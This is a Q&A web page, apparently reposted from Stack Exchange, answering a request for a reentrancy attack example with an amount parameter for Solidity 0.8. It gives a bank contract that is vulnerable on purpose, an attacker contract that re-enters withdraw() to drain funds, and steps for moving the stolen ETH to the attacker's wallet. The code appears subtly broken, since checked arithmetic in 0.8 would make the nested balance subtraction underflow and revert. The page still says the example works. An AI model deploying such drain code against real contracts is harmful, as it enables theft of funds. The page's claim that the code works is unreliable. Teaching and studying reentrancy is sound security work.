You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

求带金额参数的Reentrancy attack攻击示例(适配新版Solidity)

带金额参数的Withdraw函数重入攻击示例

有漏洞的目标合约(Solidity ^0.8.0)

这个合约违反了检查-效果-交互的安全原则,先执行ETH转账再更新用户余额,给重入攻击留了可乘之机:

// 有漏洞的目标合约:先转账再更新余额,存在重入风险
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        // 检查余额是否足够
        require(balances[msg.sender] >= amount, "Insufficient balance");
        
        // 漏洞核心:先转账(交互),再更新余额(效果)
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // 此时已被重入调用,余额更新滞后
        balances[msg.sender] -= amount;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

攻击合约

通过实现receive函数,在收到目标合约转账时立即发起重入调用,反复窃取资金:

// 攻击合约:利用重入漏洞窃取资金
pragma solidity ^0.8.0;

import "./VulnerableBank.sol";

contract ReentrancyAttacker {
    VulnerableBank public immutable targetBank;
    address public owner;

    constructor(address _targetBank) {
        targetBank = VulnerableBank(_targetBank);
        owner = msg.sender;
    }

    // 启动攻击:先向目标合约存入ETH,再触发首次withdraw
    function attack() external payable {
        require(msg.value > 0, "Need ETH to attack");
        targetBank.deposit{value: msg.value}();
        targetBank.withdraw(msg.value);
    }

    // 收到ETH时自动触发重入调用
    receive() external payable {
        uint256 remainingBalance = targetBank.balances(address(this));
        // 只要目标合约还有余额可提,就继续调用withdraw
        if (remainingBalance > 0 && address(targetBank).balance >= remainingBalance) {
            targetBank.withdraw(remainingBalance);
        }
    }

    // 提取攻击所得的全部ETH
    function withdrawFunds() external {
        require(msg.sender == owner, "Only owner can withdraw");
        (bool success, ) = owner.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }
}

攻击步骤

  1. 部署VulnerableBank合约;
  2. 部署ReentrancyAttacker合约,传入目标合约的地址;
  3. 调用攻击合约的attack函数,转入任意金额的ETH(比如1 ETH);
  4. 攻击完成后,调用withdrawFunds将窃取的ETH转到自己钱包。

关键说明

Solidity 0.8+版本虽然默认开启了溢出/下溢检查,但不会自动修复重入漏洞——只要开发者没遵循检查-效果-交互的顺序(先更新余额,再执行转账),漏洞就会存在。你之前复现失败,大概率是因为用了符合安全规范的合约模板,而非这种刻意留洞的版本。

内容的提问来源于stack exchange,提问作者RodrigoR

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.10 03:01:00